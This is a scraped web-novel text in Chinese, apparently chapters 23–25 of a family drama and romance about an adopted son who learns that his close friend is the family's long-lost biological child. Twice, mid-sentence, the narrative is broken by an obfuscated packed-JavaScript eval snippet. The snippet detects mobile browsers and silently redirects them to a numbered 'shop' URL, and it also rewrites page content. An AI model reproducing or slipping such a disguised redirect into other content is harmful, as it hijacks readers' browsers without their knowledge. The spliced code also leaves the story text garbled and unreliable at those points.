章长宁放下水杯,脸上没有丝毫属于当事人的尴尬和不自在,看样子是真的没什么都记不起来了。 “我们收拾一下桌面再走?” 章长宁没有一句多余的追问,游戏只是游戏,而不关乎其他。 章长叙的眸色暗了暗,内心深处有种说不上来的失落。 柏续将两人的反应尽收眼底,“不用,我找人来收拾,你们俩也早点回去休息吧。” “好。” … 章长宁入住的酒店别墅隔了两排,步行就一两分钟的功夫,短短几步路,夜风却吹得人心发凉。 两人一路沉默着进了屋。 “宁宁,你……” 章长叙刚开口,章长宁就抢先一步说,“哥,你今晚睡在二楼主卧吧,我还是睡在一楼次卧。” 别墅是复式小两层,上下各有一间卧室。 以往商章两家兄弟一块来这儿滑雪出游时,商延枭和商确言都是分开睡的,而章长宁年纪小、又认床,时常赖着章长叙就一块睡了。 章长叙眉心微蹙,没来得及说话,章长宁就搬出了他在新国的那套言论—— “哥,是你说的嘛,我们长大了,不应该像小时候那样睡在一块,反正这里也有两间卧室,正好可以各睡各的,昨晚我喝醉了酒,今晚不需要你照顾啦。” “……” 章长叙没想到自己当初说过的言论,如今却成了石头砸得他无话可说,“好。” 章长宁应了一声,“那我先去洗澡了,二哥晚安。” “晚安。” 直到浴室的门一关,章长宁强撑的理智才彻底垮台。 ——和别人接过吻吗? ——有,当然有过。 脑海中不断浮现着这段问答,搅乱了他的理智和他的心。 章长宁总是自信以为足够了解章长叙,这些年,对方从来没有和他、和家里人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114710|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提及过任何一位女朋友,哪怕面对相亲也是拒绝的态度。 所以,他想当然地就认定了:章长叙是觉得还没到时候,不愿谈及感情、影响工作。 可直到刚刚那个答案出口的一瞬间,章长宁才明白了有另外一种可能—— 或许,章长叙的心里早就装了一个人,甚至已然和对方有过了亲密的接触,只不过,两人现在没在一起。 为了对方,章长叙才会在感情上如此洁身自好,年近三十也不愿意开启新的感情。 “……” 章长宁一想到这种可能性,心里就布满了说不出的酸涩,他低头将脸埋在掌心里,无力又可笑地叹了一声: 章长宁啊章长宁,你怎么还想不明白? 无论章长叙相亲与否、心里是不是真装了一位很优秀的女孩子,从始至终,他都是最没有资格去管、去问的那个人。 … 夜渐深,窗外又落起了雪。 章长宁又一次从床上坐了起来,一看手机,已经凌晨一点了。 他轻手轻脚地出了房间门,看向通向二楼的木质楼梯—— 章长叙自从上楼之后就没再下来过,毕竟医生的生物钟一直很稳,这个点估计早就睡着了。 反倒是章长宁一直辗转反侧,怎么样都睡不着觉,满脑子都是自己不应该去想的事。 章长宁余光瞥见了亮了灯的透明酒柜,他想起昨晚的大醉,想要喝酒的心又蠢蠢欲动。 一醉解千愁。 他以为不以为然,现在却巴不得用这种办法来麻痹自己。 章长宁小心翼翼地打开酒柜,从里面拿出一瓶威士忌,结果才刚倒了小半杯,楼梯上就响起了脚步声。 章长宁来不及反应,就被下楼的章长叙抓了个正着。 “……” “……” 光着脚踩在地毯上,还敢大半夜喝酒? 章长叙的眉心说蹙就蹙,快步走近,“章长宁,你还让不让人省心了?给我。” 章长宁一听见自己的全名就心虚,他连忙将藏在身后的酒杯乖乖交到章长叙的手上,辩解,“我、我就是睡不着觉,想着喝点酒好入睡,就只倒了小半杯,还、还没喝呢。” 越说声音越低,明显底气不足。 章长叙没在这件事情上多费口舌,攥着章长宁的手腕就将他往一楼的次卧带,“走。” “哥,我……” “睡觉!” 章长叙用巧劲将他“摔”在床上,拿起将他和自己一并盖了个严严实实。 章长宁懵了,“二哥?” “我看着你睡,等睡着了我再回楼上。” 章长叙打定主意,侧躺下盯着他,“章长宁,再敢让我发现你大半夜偷偷喝酒试试。” “……” 章长宁滚了一下喉结,没反驳,“不敢了,你别生气。” 章长叙一对上他的双眸,就忍不住心软,“没生气,为什么会睡不着?还是认床?” 这次出来太着急,他没时间整理床单被套都带过来。 章长宁回答,“有点,但、但也不全是因为这事。” 章长叙问,“那是为什么?” “二哥,今晚在餐桌上、最后一轮的问题,你……”章长宁沉默地垂下视线,一时半会儿说不出口。 章长叙凑近了一些,引导着他,“宁宁,你想问什么?” “……” 章长宁不着痕迹地吸了口气,实在没忍住自己越界的好奇心,“你之前谈过女朋友吗?我怎么都没听你提起过。” 章长叙暗藏探究的视线停留在章长宁的脸上,“你很想知道?” 章长宁进一步退十步,“我、我就是单纯好奇,你不方便说就算了。” “没有。” “什么?” 章长叙明确说,“没有谈过女朋友,也没有任何瞒着你、瞒着全家不敢说的交往对象,我单身,一直都是。” 章长宁怔怔地问,“那你和谁接吻?暗恋对象?还是炮……” “炮友”两字还没出口,就被他自我否决了,章长叙一看就不会是找炮/友解决自己生理需求的人。 “……” 章长叙在章长宁的眼里找不出一丝心虚掩饰的痕迹,彻底确定了他将昨晚的事情彻底忘记了,一时间说不上是庆幸还是失落。 章长宁还在等待他的答案,“哥,你怎么了?” 章长叙答非所问,“我诓他们的。” “啊?” “延枭比我小了不到一岁,和我还是从小一块认识,他这会儿已经和柏续交往上了,对比之下我还是一直单身。” 章长叙随口扯了一个理由,“所以那个答案是我诓他们的,找点面子。” “……” 章长宁向来就不会怀疑章长叙,也没料到他居然会是这个想法,愣了好几秒才笑出声,“啊?你居然为了面子撒谎回答啊?” 章长叙没否认,“嗯,不如你诚实。” 章长宁突然觉得心情大好,但还是说,“这么多年,你就没有过特别喜欢的同学?朋友?同事?暗恋对象?” 章长叙借机反客为主,“你呢?没谈过恋爱,那有没有暗恋对象?” 章长宁含糊,“……没有。” 只是说这话时,他的视线却避开了章长叙,生怕对方察觉出什么。 这一小小的闪躲落在章长叙的眼中却变了意思,只当他是不愿意在这个话题上停留。 章长叙想起眼前人昨晚醉后哭着喊着的那番话,内心深处的醋意就又浓了起来,“嗯,知道了。” “宁宁。” “嗯?” “合眼,该睡觉了,晚安。” 章长宁才绕上的心结又被打开,低低地应了一声,“晚安。” 他保持着为数不多的那点分寸和理智,转身背对着章长叙入睡,这一回,再也没了辗转反侧。 很快地,身旁的呼吸声逐渐平稳绵延,章长叙没有像承诺地那样离开,反倒占有欲十足地将章长宁“捞”到了自己的怀中。 章长宁被熟悉的气息包裹,软乎乎地梦呓,“哥。” 章长叙低头,似有若无地吻了吻怀中人柔软的小卷毛,“乖,睡个好觉。” 24.【第024章】 章长宁和章长叙还是赶在除夕回了家。 面对小儿子突然性的离家出走,沈眠和章渡没有任何埋怨,而是只关心他的情绪好不好,反倒弄得章长宁心里愧疚,还表示以后再也不乱发脾气了。 章家的除夕夜向来是热闹的,而且今年章长风夫妇还给家里添了一位新宝贝,更是值得好好团聚过个年。 夜幕降临。 一家人就围坐着开启了吉祥话,彼此端茶敬酒的,说着好听的吉祥话。 酒过三巡。 一家人开始转移到客厅,陪着念旧的章老夫人看起了春晚,有说有笑得也算热闹。 作为一家之主的章渡看着眼前这幕,心生感慨。 他借机起身,往外走去。 章长叙似乎意识到了什么,将剥好的砂糖橘塞到章长宁的手心,“你先吃,我去上个洗手间。” “啊?好。” 章长宁应了声,视线却跟随着章长叙的背影。 对方说着要去洗手间,可脚步分明是朝着别墅后院的方向。 … 帝京的年关是最热闹,也最冷的。 章渡站在自家的庭院外,很少沾上烟酒的他此刻却意外摸出了早就准备好的香烟。 啪嗒,啪嗒。 打火机在指尖按压了好多次,火苗却始终熄灭在寒风中。 身后脚步声响起,同时伴随着一句,“爸,我来吧。” 章长叙跟了出来,他主动接过章渡手里的打火机,替他燃上了香烟。 “……” 章渡沉默地望着次子,叹了口气,没急着抽。 章长叙低声问,“爸,你心情不好?” 章渡吸了口香烟,心思颇重地吐露,“长叙啊,一晃眼二十年了。” “……” 章长叙就猜到父亲是在挂念这事,安慰,“爸,总会找到的。” “你说今天这种团聚的日子,你小弟到底在哪里?过得好不好?”章渡忍不住提问,答案却无从得知,“是我不好,是我弄丢了他。” 这么些年了,他们夫妻把该找的地方都找过了,该留意的线索全部排查了一遍,耗费了无数精力、财力、人脉、资源,可始终找不到他们的小儿子。 有时候,他也会消极地想:那孩子还在世上吗? 可每当有这个念头闪现的瞬间,章渡内心深处就会有个声音:在的,一定还在的。 “长叙,你能理解吗?小宁再好,可我和你妈心里还是会有遗憾。” “爸,我知道。” 章长叙应了一句,旋即给出了更深层次的解释,“宁宁是独立的个体,我们家从来没有把他当成替代品,而小弟在我们心里,也不会被任何人替代。” 章渡点了点头,还是感慨,“我是怕你妈伤心,所以才不敢提,长叙啊,爸是真的老了,我很怕有朝一日我也找不动了。” “爸,你还有我和大哥——” 章长叙明白父亲深压在心底的苦楚,安慰,“我们会继续找下去,近两年全国医院的血库和DNA库都已经连上了,早些时候,我就已经把我的血样DNA存入库了。” “我在医院工作,多少便利些,如果后续有任何相似发现,我一定第一时间去确认。” “好。” 章渡长叹了一口气,将剩了一大半的烟头捻灭在花盆边沿,重新打起精神,“前两天,你奶奶特意去问了商老夫人口中那个算命大师,还让你妈陪着去请了一卦,你猜猜卦象怎么说?” 其实,他们父子俩是不信这些的。 章长叙知道章渡是想要改变聊天气氛,浅笑了一声,“那大师怎么说?” 章渡跟着笑,“说我们想找的人远在天边近在眼前,不出一年就能得偿所愿,不过他也说了,说我们章家下一代的子嗣缘弱,我和你妈命里没几个孙子孙女。” “……” 章长叙无语,接不上话。 章渡继续说,“你妈回来就念叨呢,说你大哥结婚生女都顺顺利利的,这‘弱’肯定‘弱’在你这里,说你都快三十了还不想着成家。” 可不就弱了吗? 章长叙说,“这种大师的话,听听就行了,别当真。” 章渡点头,“是啊,不过你妈和你奶奶还挺高兴的。” 毕竟大师所说的前半句卜卦预言,正好戳在了她们的心窝上。 … 章长宁从“厕所”回来的时候,有些魂不守舍。 他手里剥了皮的砂糖橘都已经快捏烂了,还流出了不少汁水。 沈眠最先察觉出了他手里的情况,连忙提醒,“小宁,你这一直攥着砂糖橘是怎么回事?这手上都弄得乱七八糟了。” “啊?” 章长宁慢半拍地反应过来,“哦。” “你这孩子冒冒失失的,先把橘子丢垃圾桶。” 沈眠将他拉到自己的身旁坐下,拿起茶几上的湿巾替他将掌心擦拭干净,“你刚想什么呢?怎么去了一趟洗手间就跟丢了魂似的?” “没啊。” 章长宁笑着摇了摇头,没敢说出实情—— 不久前,他看着章渡和章长叙前后离开客厅,担心是出了什么事,于是放心不下的他才跟了过去,结果才到室内连接后院的拐角处就听见了父子两人的交谈。 “……” 章长宁一直都知道,那个孩子的事是父母心头的缺憾,而他是用尽了这辈子的好运,才能拥有了这二十年的幸福人生。 可他的人生建立在别人的骨肉分离上、建立在父母乃至全家人的遗憾之上。 章长宁突然觉得很不是滋味,更自责自己帮不上什么实质性的忙,与此同时,他一直都知道全家人都瞒着他、不想让他知道自己真正的孤儿身世。 “好了,擦干净了,我们小宁的手长得真好看。”沈眠拍了拍章长宁的手,带着母亲独有的温柔和宠溺,“还想不想吃橘子?妈再给你剥一个?” 说着,她就去拿茶几上的橘子。 “妈,不用了——” 章长宁突然眼眶一酸,忍不住抱住了沈眠,“你怎么对我这么好。” 沈眠面对他突如其来的亲密撒娇,笑着揉了揉他的脑袋,“说什么呢?你是我孩子,我不对你好,还能对谁好?” “嗯。” 章长宁忍住自己的哭腔,温情道,“妈,新年快乐,祝你新的一年——” 他顿了顿,真心祝愿,“得偿所愿。” 如果可以,章长宁希望那个孩子真如了“大师”所言,能够早日回到章家、让父母不再有遗憾,到那个时候,哪怕是对方不喜欢他的存在、让他离开,他都毫无怨言。 沈眠笑了笑,“好,你的祝福妈妈收下了。” 章老夫人看着亲近的母子两人,心生欢喜,“我们小宁真乖,这祝福好。” 沈眠对上章老夫人的视线,不知怎么就想到了昨天“大师”说过的话。 她压下心头最大的期待,以开玩笑的方式说起另外一事,“明年啊,如果长叙能给我带个对象回来,我真就是得偿所愿了。” 原本还以为那场相亲是有希望的,结果没料到章长叙是为了亲自和女方说清楚,真是白白浪费了她的期待。 “……” 章长宁听见这话,心思微凝,但还是顺着沈眠的话讨她开心,“妈,你别着急,二哥他……早晚会找到合适的另一半的。” 章长风才送妻子和女儿回房间休息,下楼时正好听见这句话,“妈,二弟有自己的想法,你就别操心了。” 沈眠笑着回,“好,我就随口说说,不强求。” 话音刚落,章渡和章长叙就走了回来,前者问,“聊什么呢?那么开心?” 沈眠将刚才的话题又简述了一遍,目光落在章长叙的身上。 章长叙无奈笑了笑,“妈,我不急。” 说着,他下意识地将目光转向了章长宁。 章长宁对上他的视线,鬼使神差地接了一句,“二哥不急,那我也不急,我还小呢。” 章长风逗他,“过完年都该二十五了,还小呢?” 章长宁赖在沈眠的身边,小孩子道,“哼哼。” 新年将至,章家每个人心里都带着不一样的期盼,不过谁都没有料到,同为世交的商家却在这个年后发生了很多事—— 先是商老爷子出了意外去世,章氏夫妇参加完老爷子的葬礼后就变得忧心忡忡,章渡甚至再三叮嘱了章长风要多帮衬三房一家子,似乎很怕商延枭、商确言以及柏续出现什么意外。 后续经过调查,几房之间争夺财产的恩怨被彻底激发,不仅商确言再次被绑架受了伤,就连柏续都被卷入了其中,意外高坠、伤了脑部昏迷。 章长宁得知这一消息后急得不行,而章长叙更是亲自操刀了柏续的抢救手术。 这场手术持续了三个小时,好在整体还算顺利,术后的柏续虽然昏迷了一段时间,但总算有惊无险地度过了危险期。 一晃半个多月过去。 参加完展会工作的章长宁马不停蹄地赶回章家,正好对上家里的饭点,他洗净了手,也落座在了餐桌前。 沈眠关切,“小宁,饿了吧?这几天累不累?” “妈,我还好,飞机上吃了点。”章长宁随口回答,对上了在家休息的章长叙,“二哥,你今天没去医院?” “调休一天。” 章长叙见到他隐约干到起皮的唇,倒了一杯温水递去,“展会的事情忙完了?” “嗯。” 陶艺工作室原本是柏续出资创建运转的,后来归国的章长宁也参与了一手,成为了工作室的艺术设计总监。 这回国际陶艺展是半年前就定下的出席名额,一是为了拓宽工作室的知名度,二是为了增加工作室的曝光和销售渠道。 柏续因病无法前往,章长宁自然是要顶上的。 章长宁想起还在病中的好友,立刻询问,“柏续怎么样了?醒了吧?” “是是,他已经醒了。” 这话原本是追问章长叙的,但坐在对面的沈眠意外抢答,听着有种说不清、道不明的激动。 章长宁察觉出沈眠甚少外露的情绪,愣了愣。 坐在边上的章渡连忙替妻子补充,“哦,是长叙和我们说的。” 章长叙淡淡地看了一眼自己的父母,“嗯,柏续上周刚醒,各项检查数值都已经趋于正常水准了,不过还得住院观察一段时间。” 章长宁的注意力很快就落回在了“好友平安”这件事上,紧绷的心弦终于松开,“没事就好,我改日有空去看看他。” “……” 章长叙给他舀了一勺汤,不着痕迹地转移了话题,“到时候再说,先吃饭。” 沈眠也跟着配合,“是,吃饭,先吃饭。” 章渡说,“小宁,多吃点,看你最近都瘦了,先喝点汤暖暖胃。” 一如既往的关切,可章氏夫妇的神色语气却有些“异样”。 章长宁敏锐地感知出一丝微妙,却又找不准方向,只好笑着端起汤碗,“什么嘛,爸,妈,你们俩今天怪怪的?是不是我出去这十来天,你们太想我了?反正我可想你们了。” “我和你们说,我这次在展会上讨到了不少……” 章长宁一边喝汤,一边像往常那样分享起自己外出的所见所感。 章长叙看向他的眼光更深了些,却终究不舍得出声打破眼前人的生动和鲜活,只默默地陪着用完了这顿晚餐。 … 章长宁是个行动派,得知柏续转醒后,隔天就带着精心布置的鲜花和果篮前往了医院病房探望。 “柏续,我才忙完展览回来,你好点没有?” “好多了。” 柏续看着爱人商延枭从章长宁手中接过的鲜花和果篮,“你来就来了,怎么买这么一大束花?还买了这么多水果?难为你这小身板一路提过来了。” “这鲜花是我亲手布置的,心意嘛,总得表示表示,喏,那梨也可甜了呢。” 章长宁想起自己在店里试吃的梨块,拐着弯儿地要求,“三哥,我看柏续挺想吃的,你现在拿一个削皮,待会儿分我一半就行。” “……” 好像最后半句话才是重点。 柏续忍俊不禁,干脆用眼神示意商延枭。 商延枭领意,解开果篮拿出两颗梨去了洗手间。 柏续望着好友,忽地想起了什么,“章医生呢?没和你一起来?” “我哥这个点应该在工作吧?我没敢打扰他,自己先来看看你。” 章长宁趁机坐在了柏续的身边,盯着他打着石膏的右手发愁,“柏续,你这手什么时候能好?” “医生说还有大半个月才能拆石膏,我倒是想快点回家,但老夫人愣是拦着不让。” 章长宁点了点头,“你还是老老实实养着吧,伤筋动骨一百天,这次没事就是万幸了。” 柏续经过这么一遭,自然明白什么是最重要的。 他接收了好友的暖心关切,微笑回答,“嗯,没事就是万幸。” 话音刚落,病房门口就响起了渐行渐近的脚步声,在示意性的敲门声响起后,虚掩的病房门被人从外面推开了。 章长宁转身探去视线,在看清病房门口的来人后顿时愣了神—— “二哥?” 章长宁从病床上站了起来,又惊又喜,“爸,妈,你们怎么来了?” 穿着白大褂的章长叙突然出现在了病房门口,而他的身后还跟着章家夫妇。 面对章长宁再正常不过的询问,章渡和沈眠却有些接不住话,不仅如此,就连向来沉稳的章长叙也露出了一丝明显的意外。 坐在病床上的柏续似乎是明白了什么,眼色微变,却没有急着出声。 好在章长叙很快反应过来,“宁宁,你什么时候来的医院?” “刚来一会儿呢。” 章长宁没有多想,脸上笑意不减,“爸,妈,你们是让二哥带你们来看望柏续的?怎么不早和我说?还能一道过来。” 章渡和妻子沈眠对视了一眼,解释得有些牵强, “哦,我和你妈正好路过,所以来看看。” 原本还在削梨的商延枭从卫生间里走了出来,他看见堆站在门口的章家人,当即和病床上的爱人对了一道眼神。 柏续迟疑了两秒,还是拿出了常规的礼貌,“章董,夫人,谢谢你们抽空来看我。” 明明是再寻常不过的一句话,可落在沈眠的耳朵里却格外不一样。 积攒了二十多年的思念、懊悔和煎熬彻底决堤,让她的眼泪顷刻宣泄而出,根本不受控制。 沈眠第一时间察觉到自己的失态,连忙背过身去遮掩。 章长宁被她吓了一跳,“妈,你怎么了?” 他无措地想要去擦沈眠的眼泪,还将求助的眼神投向了章渡和章长叙,“爸,二哥,这、这是怎么了啊?” 章渡知道有些事情早晚是需要坦诚说破的,于是斟酌了一下措辞,“宁宁,其实我们家除了你们兄弟三人,以前……” 话才起了个头,沈眠就忙不迭地阻止,“老章!” “……” 章长宁察觉到父母之间的异常,敏感捕获到了一些蛛丝马迹,内心深处突然涌现了一个最怕也最可能的猜测。 商延枭和章长叙对上了视线,主动出声打破沉默,“长叙,章伯伯,你们先进来坐吧,别堆站在门口了。” 既然来了,有些事情注定要讲清楚的。 章长叙不着痕迹地深呼一口气,“爸、妈,先进去吧。” “……” 章长宁收起搭在沈眠胳膊上的手,有些拘谨地垂了下来,平日里最爱当“跟屁虫”的他,眼下却只站在原地不动。 章长叙仍然守在章长宁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149692|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边,试探性地拍了拍他的后背,“怎么了?” 章长宁被心里的猜测弄得慌了神,索性避开章长叙的目光,他直直地看向了病床上最有可能和他说实话的好友—— “柏续,你们是不是有什么事情瞒着我?” 他想要假装轻松无事,可藏在尾音里的颤抖还是出卖了他的紧张。 面对这一问题,向来直白的柏续却也破天荒地沉默了。 对视间,章长宁突然就看懂了好友藏在眼里的犹豫——对方怕伤害到他,所以不知道要怎么开口。 章长宁只觉得内心深处的那个猜测像气球开始膨胀,几乎将他的心顶到了嗓子眼。 “宁宁。” 章长叙艰难地张了张嘴,将早就编排好的“事实”告知,“家里一直没告诉你,爸妈以前还丢过一个孩子,和你同岁,是、是双胞胎。” “……” 双胞胎? 章家什么时候有过双胞胎了? 从始至终章家真正的小少爷就只有一个。 都说当医生的人最会“撒谎”,最会找借口安慰身患绝症的病人,可章长叙眼下撒的这个谎并不高明。 章长宁不急着拆穿,“所以,柏续就是当年意外丢失的那个孩子?” 从自己被领养回章家的那一刻起,章长宁就从来没有忘记过自己的身世,他记得自己是孤儿,也记得自己从来不是章渡和沈眠的亲生儿子。 他更知道,章家人从未放弃过寻找自己的至亲,这事成了他们的遗憾更是执念。 章长宁扫了一眼沙发上的章渡和沈眠,看着他们极力掩饰又不可控的神色,他不是傻子,事到如今,还有什么不清楚的? 章长宁五味杂陈,却还是执意弄个明白,“你们背着我去做亲子鉴定了,是吗?什么时候的事?” “……” 章长叙哑然。 早在商老爷子的葬礼上,前去吊唁的沈眠见到柏续的第一眼起,她就有了种别样的感觉,或许是母子间真的具备天生的感应—— 回家后的沈眠连着几晚都梦到了柏续,梦到了对方说:“妈妈,我先回家。” 二十多年的寻子经历早就成为了沈眠无法磨灭的心病,她极力想要克制自己的唐突和冒昧,但柏续突然就出了意外,越发刺激了她的冲动。 于是,沈眠将这件事告诉了章长叙,想请二儿子从中说明情况,让他们家里人和柏续做个亲子鉴定。 只是章长叙还没找机会开口,柏续就出了事,等对方意识清醒后,前者才暗中提出了这个请求。 直到今天早上,亲子鉴定总算有了最终结果。 章长叙对上眼前人的目光,欲言又止。 如果可以,他绝对不会希望是在这样的场合、让章长宁得知真相,只可惜计划赶不上变化。 章长宁看似温暖乐观、遇事大大咧咧,但内在有着一颗再敏感柔软不过的心,任何的蛛丝马迹都很难逃过他的眼睛。 就像现在,章长宁明白众人的沉默是因为什么—— 所有人都在意他、也都怕伤害到他,所以有些真相,只能由他亲自揭开。 章长宁深呼一口气,“兜兜转转,原来你们俩才是亲兄弟。” “宁宁?” “长宁?” 章长叙和柏续一前一后开口,但章长宁更快一步抢断,“挺好的。” 他哽住翻涌上来的酸涩,“其实,你们不用刻意瞒着我的,我一直都知道,我不是章家真正的孩子。” 哪有什么所谓的双胞胎? 他不过是极其幸运的一个孤儿。 章渡和沈眠同时露出错愕,就连一向淡定的章长叙也怔住了,“你说什么?” 柏续想起在瑞士滑雪度假那会儿、章长宁醉后对自己的身世坦白,“长宁对自己的身世一直留着记忆,知道章家这些年一直在秘密寻找孩子。” “……” “你们全家出于好心瞒着他,所以他才假装自己一直不知道。” 这下子,章渡也跟着坐不住了,“你当时还那么小?你、你怎么……” 章长宁垂落在两侧的双手不自觉地拢成拳又松开,尽量不在章家人面前展露出自己的难过和无措。 “可能是因为福利院的日子太苦了,才导致那段记忆才格外清楚。” “爸,妈,还有二哥……”章长宁的视线依次扫过这些面孔,“这些年,我知道你们一直把我当成亲生儿子、亲弟弟看待,对我照顾得无微不至。” “可我总是在想,那个真正丢失的孩子在哪里?他如果还活着,是不是一直在吃苦?” 章长宁觉得自己就像是一个小偷,好运地占据了别人的父母、兄长、家庭和身份,可他也清晰地告诉自己—— 只要真正的章小少爷能够回来,他必定会将自己所拥有的一切全部归还。 “你们对我太好了,其实我比任何人都盼望着你们能够得偿所愿,我只是没想到居然会是柏续。” 章家人寻寻觅觅了二十多年的孩子,居然远在天边、近在眼前。 章长宁强撑着笑意,“你们急匆匆地赶过来,一定有很多话想找柏续问清楚吧?我没事,你们聊。” “……” 沈眠在柏续和章长宁的脸上来回切换目光,情绪复杂而酸涩。 与她而言,手心手背都是肉。 她既怕伤了这个,也怕伤了那个。 最终,还是章渡“狠心”将话题转到了柏续的身上,主动询问起了这些年有关的一切—— 从月嫂保姆联合人贩子带走孩子,到他们一次又一次的苦苦寻找,再到柏续这些年的成长经历,聊到最后,就连当年贴身物品物品上的刺绣标记都对上了。 章渡和沈眠哪里还能不激动?他们殷切期盼着柏续能够回到章家,让他们有机会弥补这些年的遗憾和错过。 “……” 章长宁全程都没再说过一句话,他不由想起以前在福利院的日子,内心深处涌起一股强烈的惶恐,但他看着病床的柏续,同样有着说不出的愧疚和歉意—— 他该怎么办? 他这个赝品代替柏续享了这么多年的少爷生活,是不是应该识趣点离开? 那他以后应该去哪里呢?他还能厚着脸皮喊爸妈吗?还能以“弟弟”的名义和章长叙住在一个屋檐下吗? 他害怕一个人,更不想只有自己一个人。 章长宁从未有过这么强烈的不安全感,他心里乱糟糟的,只能低头掩饰着自己快要崩溃的心理防线,他的指甲不自觉地就扣起了掌心,一下比一下更重。 章长叙时刻注意着身边人的举动,当即心疼蹙眉,“宁宁。” 他二话不说牵住了章长宁冒着冷汗的手心,低声哄,“别伤害自己,别怕,我陪着你。” “……” 掌心上传来的力道很紧,紧到让章长宁近乎落泪。 然而下一秒,病床上的柏续就做出了决断,“我知道当年的事情并非你们所愿,如果章家愿意认回我这个孩子,我自然也是愿意的。” “不过,我有唯一一个条件。” 章渡急切,“你说!无论什么条件,我们都答应你。” 柏续开口,“这些年,长宁一直待在‘我’的位置上、以‘我’的名义和你们相处,现在我们俩都该回到自己的位置上了。” ——轰隆! 听见柏续提及自己,章长宁只觉得一道惊雷砸下,他本能地挣脱了章长叙的掌心,茫然无措地等待着属于好友的审判。 章长叙掌心落空,蓦然生出一种“要失去”的恐惧感。 现在的他早就没了以往的冷静和理智,关心则乱,“柏续,你……” “我话还没说完呢。” 身为旁观者的柏续早就看穿了他们之间不能开口的感情,直接从根源刺激道,“只要章家和长宁要解除领养关系,我就回去。” 25.【第025章】 章长宁根本不记得自己是怎么离开医院的,自从柏续提出要他和章家解除领养关系的那一刻,他的思绪就被彻底冻结了。 ——滋滋滋。 手机不断地传来来电震动,都是章长叙打来的。 章长宁从医院病房落荒而逃的那一瞬间,章长叙就追了出来,只不过对方毕竟是医生、下午还有坐诊工作,再怎么样,也不可能为了他而丢下病人。 又一通来电结束,紧接着,微信就传了进来。 有章长叙的,有沈眠和章渡的,也有好友柏续的。 章长宁心口堵得慌,一时半会儿也不知道该怎么面对这些人,于是逃避般地给手机按下了关机,隔绝了一切的询问。 虽然不知道一向和他要好的柏续为什么会提出那样的要求,但章长宁愿意应下“解除领养关系”的条件,换句话说,哪怕章家真正的小儿子不是柏续,而是其他人—— 他也一样不会想着霸占这个“章家小少爷”的位置,毕竟从一开始就不是属于他的。 午后的阳光落在身上,却没给章长宁带来丝毫的暖意,他漫无目的地走在大街上,回想着这些年成长路上的点点滴滴,越想就越忍不住酸涩—— 章家的每个人都对他太好了,他舍不得。 章长宁就这么从天亮走到了天黑,直到夜幕降临,他才不知不觉地走回了章家所在的别墅区。 “……” 章长宁迟疑了几秒,还是往家的方向走去。 他的身影一出现在章家别墅的门口,立刻就被准备开车出门的章长风给发现了,“小弟,你回来了!” 章长风直接将车子停下,下车走近,“你去哪里了?打电话怎么还关机?” “大哥。” 章长宁开口喊了一声,嗓音有些哑,“你也知道了吧?” 章长风沉默两三秒,点头,“嗯。” 确认DNA报告后,章长风就从父母的口中得知了这件天大的喜讯—— 找了二十年的孩子不但没有出事,反而一直在他们不远处生活着,而兜兜转转和他们家产生了许多联系。 当然,今天下午在医院里发生的事情,章长风已经从父母的口中得知了全过程,这不,他见章长宁始终没回电话和微信,正打算开车出去找找。 “小弟,你听大哥说——” “当年那件事情不是你的责任,爸妈当初领……领养你,绝对不是把你当成柏续的替代品,从始至终,你都不需要在这件事上有任何的负担。” 如果可以,他们章家愿意想尽一切办法弥补柏续,但这不代表章长宁就不再重要、不再是他们家中的一份子。 “虽然我还没见过柏续,但我相信长叙、相信你,也相信延枭他们两兄弟的眼光,说不定他下午提的那个条件只是在和大家开玩笑,我……” 章长风越是关心他的情绪,章长宁就越觉得难过。 “大哥,我没事。” “……” 章长风观察着章长宁的情绪,改口,“也好,回家再说,爸妈和奶奶都在家等你呢。” 章长宁下意识地追问,“二哥回来了吗?” 章长风不久前才和章长叙通过电话,“他刚下班,应该还在路上。” “好。” 章长宁心弦松了一瞬,说不上为什么,眼下他最害怕见到的人不是柏续、不是父母,而是章长叙。 章长宁刚进屋,沈眠就立刻跑了上来,“小宁!” 章老夫人在儿子章渡的搀扶下也急切上前,“你这孩子,跑哪里去了呀?奶奶这心都快担心得跳出来了。” “小宁,妈妈知道今天下午在医院发生得太突然了,我一时间没控制好情绪,无意中也伤害到了你,妈给你道歉……” 章长宁勉强止住的情绪,又因为沈眠的几句道歉而翻涌。 他眼眶发红,环视了一圈,“爸,妈,你们没有做错任何事、也没伤害到我,不要和我道歉,说真的,现在柏续才是最重要的。” “他才受伤转醒没多久,这些年也过得很不容易,你们好不容易找回了自己亲儿子,当然得多花心思在他的身上。” 章长宁说得都是真心话,不掺任何假意,“他提出的要求,我能接受,我愿意和章家、和你们解除领养关系。” “小宁!”“小弟!” “……” 章长宁比任何人都清楚,这个决定只能从他的口中说出,要不然,章家众人是断然说不出口的。 “爸,妈,奶奶,还有大哥,我已经考虑得很清楚了。” 章长宁环视了围在自己身边一圈人,扬起一个故作轻松的笑容,“没了领养关系,不代表我们就是形同陌路了,不是吗?” “这些年,你们对我的好,我都记着。” “只要你们愿意,我以后还是会想尽办法报答你们的养育之恩的。” 沈眠的眼泪也在眼眶里打转,“傻孩子,说什么呢,你本来就是我们家的孩子。” “我知道。” 章长宁握了握沈眠的手腕,然后才提及另外一件事,“但是我想请你们给我一段时间,我最近暂时不想住在家里。” “小宁?” “我、我想暂时处理一下情绪。” 有些事情,做起来比说起来更难。 